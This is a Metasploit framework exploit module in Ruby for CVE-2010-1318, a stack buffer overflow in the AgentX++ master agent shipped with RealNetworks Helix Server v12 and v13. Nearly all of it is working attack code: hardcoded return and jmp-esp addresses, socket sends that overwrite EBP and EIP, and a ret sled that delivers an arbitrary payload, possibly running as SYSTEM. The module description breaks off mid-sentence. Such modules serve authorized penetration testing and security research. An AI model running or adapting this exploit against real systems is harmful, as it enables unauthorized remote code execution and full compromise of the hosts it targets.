##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  #include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AgentX++ Master AgentX::receive_agentx Stack Buffer Overflow',
      'Description'    => %q{
          This exploits a stack buffer overflow in the AgentX++ library, as used by
        various applications. By sending a specially crafted request, an attacker can
        execute arbitrary code, potentially with SYSTEM privileges.

        This module was tested successfully against master.exe as included with Real
        Network\'s Helix Server v12. When installed as a service with Helix Server,
        the service runs as SYSTEM, has no recovery action, but will start automatically
        on boot.

        This module does not work with NX/XD enabled but could be modified easily to
        do so. The address
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-1318' ],
          [ 'OSVDB', '63919'],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=867' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          #'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 1024,  # plenty of space
          'BadChars' => "",    # none!
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Helix Server v12 and v13 - master.exe',
            {
              # The BufAddr varies :-/
              #'BufAddr' => 0xea3800,
              'BufAddr' => 0x1053880,
              'BufSize' => 25000,     # If this is too large, the buf is unmapped on free
              'Ret'     => 0x46664b,  # mov esp,ebp / pop ebp / ret in master.exe
              'JmpEsp'  => 0x7c3d55b7 # jmp esp from bundled msvcp71.dll
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Apr 16 2010'))

    register_options([Opt::RPORT(705)])
  end

  def exploit
    print_status("Trying target #{target.name}...")

    connect
    print_status("Triggering the vulnerability... Cross your fingers!")

    num = target['BufSize']
    num_str = [num].pack('N')

    # First send 19 bytes to almost fill the buffer...
    hdr = ''
    hdr << [0x01, rand(256), 0x10 | rand(256), rand(256)].pack('CCCC')
    hdr << rand_text(16 - hdr.length)
    #hdr << "QQQQRRRRSSSS"
    hdr << num_str[0,3]
    sock.put(hdr)

    # Wait to make sure it processed that chunk.
    select(nil, nil, nil, 0.5)
    #print_status("press enter to trigger..."); x = $stdin.gets

    # Send the rest (smashed!)
    hdr = ''
    hdr << num_str[3,1]

    # NOTE: this stuff is extra, but doesn't count towards the payload..
    hdr << rand_text(8)
    #hdr << "EEEEFFFF"

    # becomes ebp
    #hdr << "\xeb" * 4
    base = target['BufAddr']
    new_ebp = base + (num / 2)
    if (mod4 = (num % 4)) > 0
      # align to 4 bytes
      new_ebp += (4 - mod4)
    end
    hdr << [new_ebp].pack('V')

    # becomes eip
    #hdr << "\xef\xbe\xad\xde"
    hdr << [target.ret].pack('V')

    # NOTE: sending more data will smash the low (up to 3) bytes of the socket handle -- no fun
    sock.put(hdr)

    # Send the data that we said we would...
    stack = []
    stack << target['JmpEsp']

    num_rets = (num - payload.encoded.length - 4) / 4
    num_rets.times {
      # points to ret instruction
      stack.unshift(target.ret + 3)
    }

    stack = stack.pack('V*')
    stack << payload.encoded
    # make sure we have all the bytes, or we wont reach the path we want.
    stack << rand_text(num - stack.length)

    sock.put(stack)

    handler
    disconnect
  end
end
